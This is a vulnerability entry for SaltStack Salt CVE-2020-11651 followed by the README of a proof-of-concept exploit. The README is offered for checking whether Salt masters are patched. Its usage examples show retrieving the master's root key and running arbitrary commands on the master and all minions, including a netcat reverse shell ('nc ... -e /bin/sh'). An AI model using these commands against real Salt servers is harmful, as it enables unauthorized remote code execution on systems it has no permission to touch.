Associated Vulnerability

Title: SaltStack Salt 安全漏洞 (CVE-2020-11651)
Description:An issue was discovered in SaltStack Salt before 2019.2.4 and 3000 before 3000.2. The salt-master process ClearFuncs class does not properly validate method calls. This allows a remote user to access some methods without authentication. These methods can be used to retrieve user tokens from the salt master and/or run arbitrary commands on salt minions.

Readme

# PoC exploit for CVE-2020-11651 and CVE-2020-11652

This is a proof of concept exploit based on the initial [check script](https://github.com/rossengeorgiev/salt-security-backports).
Use it to verify you have successfully updated your Salt master servers to a [release containing the required fixes](https://help.saltstack.com/hc/en-us/articles/360043056331-New-SaltStack-Release-Critical-Vulnerability).

Thanks for F-Secure Labs for their [research and reporting](https://labs.f-secure.com/advisories/saltstack-authorization-bypass/).

Currently this script can be used for filesystem access and scheduling commands on the master and all connected minions. Use these powers wisely!

## Usage

Default operation (without arguments) is to obtain the root key for the given master:

```
root@kalimah:~/salt# python3 exploit.py --master 192.168.115.130
[!] Please only use this script to verify you have correctly patched systems you have permission to access. Hit ^C to abort.
[+] Salt version: 3000.1
[ ] This version of salt is vulnerable! Check results below
[+] Checking salt-master (192.168.115.130:4506) status... ONLINE
[+] Checking if vulnerable to CVE-2020-11651...

root@kalimah:~/salt#
```

Executing arbitrary commands on the master:

```
root@kalimah:~/salt# python3 exploit.py --master 192.168.115.130 --exec "nc 127.0.0.1 4444 -e /bin/sh"
[!] Please only use this script to verify you have correctly patched systems you have permission to access. Hit ^C to abort.

The same, but on all minions:

```
root@kalimah:~/salt# python3 exploit.py --master 192.168.115.130 --exec-all="apt-get upgrade -y"
[!] Please only use this script to verify you have correctly patched systems you have permission to access. Hit ^C to abort.
